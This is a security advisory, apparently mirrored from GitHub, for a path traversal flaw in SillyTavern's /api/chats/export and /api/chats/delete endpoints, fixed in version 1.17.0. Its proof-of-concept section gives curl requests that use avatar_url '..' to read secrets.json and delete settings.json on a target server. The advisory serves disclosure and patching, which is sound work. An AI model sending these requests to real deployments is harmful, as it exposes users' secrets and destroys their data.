SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root

Description

Summary

A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".

Details

The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...

Evidence:
- Weak validator regex (does not reject ..):
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27>
- Vulnerable delete path construction:
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577>
- Vulnerable export path construction:
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598>
- Endpoint auth context (authenticated user access):
<https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>

Because avatar_url=&quot;..&quot; is accepted, path.join(&lt;user&gt;/chats, &quot;..&quot;) resolves to &lt;user&gt;/, enabling direct access to files outside the chats directory.

PoC

Prerequisites:
- Valid authenticated session cookie (cookie.txt)
- Valid CSRF token ($TOKEN)

Read sensitive file (secrets.json):

curl -b cookie.txt -H &quot;x-csrf-token: $TOKEN&quot; -H &quot;content-type: application/json&quot; \
  -d &#x27;{&quot;avatar_url&quot;:&quot;..&quot;,&quot;is_group&quot;:false,&quot;file&quot;:&quot;secrets.json&quot;,&quot;format&quot;:&quot;jsonl&quot;,&quot;exportfilename&quot;:&quot;x&quot;}&#x27; \
  http://TARGET:8000/api/chats/export

Delete sensitive file (settings.json):

curl -b cookie.txt -H &quot;x-csrf-token: $TOKEN&quot; -H &quot;content-type: application/json&quot; \
  -d &#x27;{&quot;avatar_url&quot;:&quot;..&quot;,&quot;chatfile&quot;:&quot;settings.json&quot;}&#x27; \
  http://TARGET:8000/api/chats/delete

Impact

  • Confidentiality: exposed per-user secrets and config data.
  • Integrity/Availability: attacker can delete critical per-user files and break account operation.
  • Risk is significant in multi-user or remotely reachable deployments.

Resolution

The issue was addressed in version 1.17.0

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-01 21:41:48 UTC
Updated
2026-04-06 17:24:26 UTC
GitHub reviewed
2026-04-01 21:41:48 UTC
NVD published
2026-04-02

EPSS Score

Score Percentile
0.06% 17.50%

CVSS Scores

Base score Version Severity Vector
8.3 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:L)
Might cause slowdowns, glitches, or partial disruption—not a full brick.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • maru1009 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm sillytavern <= 1.16.0 1.17.0

References

cvelogic Threat Intelligence